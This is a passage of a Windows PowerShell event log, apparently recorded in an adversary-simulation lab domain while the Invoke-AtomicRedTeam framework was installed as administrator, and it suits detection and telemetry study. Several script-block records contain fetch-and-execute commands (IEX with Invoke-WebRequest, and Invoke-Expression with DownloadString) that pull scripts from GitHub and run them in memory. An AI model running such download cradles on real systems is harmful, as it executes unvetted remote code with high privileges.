Invoke-Expression (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/$RepoOwner/invoke-atomicredteam/master/install-atomicsfolder.ps1"); Install-AtomicsFolder -InstallPath $InstallPath -DownloadPath $DownloadPath -Force:$Force -RepoOwner $RepoOwner
}
Write-Host "Installation of Invoke-AtomicRedTeam is complete. You can now use the Invoke-AtomicTest function" -Fore Yellow
Write-Host "See Wiki at https://github.com/$repoOwner/invoke-atomicredteam/wiki for complete details" -Fore Yellow
}
else {
Write-Host -ForegroundColor Yellow "Atomic Redteam already exists at $InstallPathwIart. No changes were made."
Write-Host -ForegroundColor Cyan "Try the install again with the '-Force' parameter if you want to delete the existing installion and re-install."
Write-Host -ForegroundColor Red "Warning: All files within the install directory ($InstallPathwIart) will be deleted when using the '-Force' parameter."
}
}
Catch {
Write-Host -ForegroundColor Red "Installation of AtomicRedTeam Failed."
Write-Host $_.Exception.Message`n
}
}
ScriptBlock ID: 1bb48c88-d884-4e7f-a01a-cbb7d8f59d3b
Path:
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466959
Keywords=None
Message=Started invocation of ScriptBlock ID: fa43fc60-cc8d-4d84-9337-5f3a3a3dbea0
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466958
Keywords=None
Message=Creating Scriptblock text (1 of 1):
[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);
Install-AtomicRedTeam -getAtomics
ScriptBlock ID: fa43fc60-cc8d-4d84-9337-5f3a3a3dbea0
Path:
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466957
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467006
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467005
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467004
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467003
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467002
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467001
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467000
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466999
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466998
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466997
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466996
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466995
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466994
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466993
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466992
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466991
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466990
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466989
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466988
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466987
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466986
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466985
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466984
Keywords=None
Message=Completed invocation of ScriptBlock ID: a29f05d0-a5c2-4f6a-9a5c-bc019b59fb08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1466983
Keywords=None
Message=CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem"
Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = b0030b64-c114-4765-a95a-dacf53f2747d
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.14393.4402
Runspace ID = c5f1100c-56fc-4347-871f-80d397213539
Pipeline ID = 6
Command Name = Add-Type
Command Type = Cmdlet
Script Name = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Archive\Microsoft.PowerShell.Archive.psm1
Command Path =
Sequence Number = 18
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1466982
Keywords=None
Message=CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression"
Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = b0030b64-c114-4765-a95a-dacf53f2747d
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.14393.4402
Runspace ID = c5f1100c-56fc-4347-871f-80d397213539
Pipeline ID = 6
Command Name = Add-Type
Command Type = Cmdlet
Script Name = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Archive\Microsoft.PowerShell.Archive.psm1
Command Path =
Sequence Number = 16
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466981
Keywords=None
Message=Started invocation of ScriptBlock ID: a29f05d0-a5c2-4f6a-9a5c-bc019b59fb08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466980
Keywords=None
Message=Started invocation of ScriptBlock ID: 64663673-3388-407d-9a69-709aa0010c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466979
Keywords=None
Message=Completed invocation of ScriptBlock ID: e777e58d-4feb-4ac0-b78e-6bff84134961
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466978
Keywords=None
Message=Started invocation of ScriptBlock ID: e777e58d-4feb-4ac0-b78e-6bff84134961
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466976
Keywords=None
Message=Started invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466975
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466974
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466972
Keywords=None
Message=Started invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 140891b8-dab2-4f8d-8c88-a6d438201fe5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466970
Keywords=None
Message=Completed invocation of ScriptBlock ID: c6bcc595-2613-47db-aae7-b4f7c98549be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466969
Keywords=None
Message=Started invocation of ScriptBlock ID: c6bcc595-2613-47db-aae7-b4f7c98549be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466968
Keywords=None
Message=Creating Scriptblock text (1 of 1):
# Localized 11/01/2018 05:01 AM (GMT) 303:4.80.0411 ArchiveResources.psd1
# Localized ArchiveResources.psd1
ConvertFrom-StringData @'
###PSLOC
PathNotFoundError=The path '{0}' either does not exist or is not a valid file system path.
ExpandArchiveInValidDestinationPath=The path '{0}' is not a valid file system directory path.
InvalidZipFileExtensionError={0} is not a supported archive file format. {1} is the only supported archive file format.
ArchiveFileIsReadOnly=The attributes of the archive file {0} is set to 'ReadOnly' hence it cannot be updated. If you intend to update the existing archive file, remove the 'ReadOnly' attribute on the archive file else use -Force parameter to override and create a new archive file.
ZipFileExistError=The archive file {0} already exists. Use the -Update parameter to update the existing archive file or use the -Force parameter to overwrite the existing archive file.
DuplicatePathFoundError=The input to {0} parameter contains a duplicate path '{1}'. Provide a unique set of paths as input to {2} parameter.
ArchiveFileIsEmpty=The archive file {0} is empty.
CompressProgressBarText=The archive file '{0}' creation is in progress...
ExpandProgressBarText=The archive file '{0}' expansion is in progress...
AppendArchiveFileExtensionMessage=The archive file path '{0}' supplied to the DestinationPath patameter does not include .zip extension. Hence .zip is appended to the supplied DestinationPath path and the archive file would be created at '{1}'.
AddItemtoArchiveFile=Adding '{0}'.
BadArchiveEntry=Can not process invalid archive entry '{0}'.
CreateFileAtExpandedPath=Created '{0}'.
InvalidArchiveFilePathError=The archive file path '{0}' specified as input to the {1} parameter is resolving to multiple file system paths. Provide a unique path to the {2} parameter where the archive file has to be created.
InvalidExpandedDirPathError=The directory path '{0}' specified as input to the DestinationPath parameter is resolving to multiple file system paths. Provide a unique path to the Destination parameter where the archive file contents have to be expanded.
FileExistsError=Failed to create file '{0}' while expanding the archive file '{1}' contents as the file '{2}' already exists. Use the -Force parameter if you want to overwrite the existing directory '{3}' contents when expanding the archive file.
DeleteArchiveFile=The partially created archive file '{0}' is deleted as it is not usable.
InvalidDestinationPath=The destination path '{0}' does not contain a valid archive file name.
PreparingToCompressVerboseMessage=Preparing to compress...
PreparingToExpandVerboseMessage=Preparing to expand...
###PSLOC
'@
ScriptBlock ID: c6bcc595-2613-47db-aae7-b4f7c98549be
Path:
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466967
Keywords=None
Message=Started invocation of ScriptBlock ID: 140891b8-dab2-4f8d-8c88-a6d438201fe5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466966
Keywords=None
Message=Completed invocation of ScriptBlock ID: c3542e09-9351-46bb-aa37-16bbc97c0ac1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466965
Keywords=None
Message=Started invocation of ScriptBlock ID: c3542e09-9351-46bb-aa37-16bbc97c0ac1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467064
Keywords=None
Message=Started invocation of ScriptBlock ID: 45379c41-a4a5-4f66-b608-7333082ce12f
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 833ce886-0bda-40cb-a1a0-6b86440eef1c
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
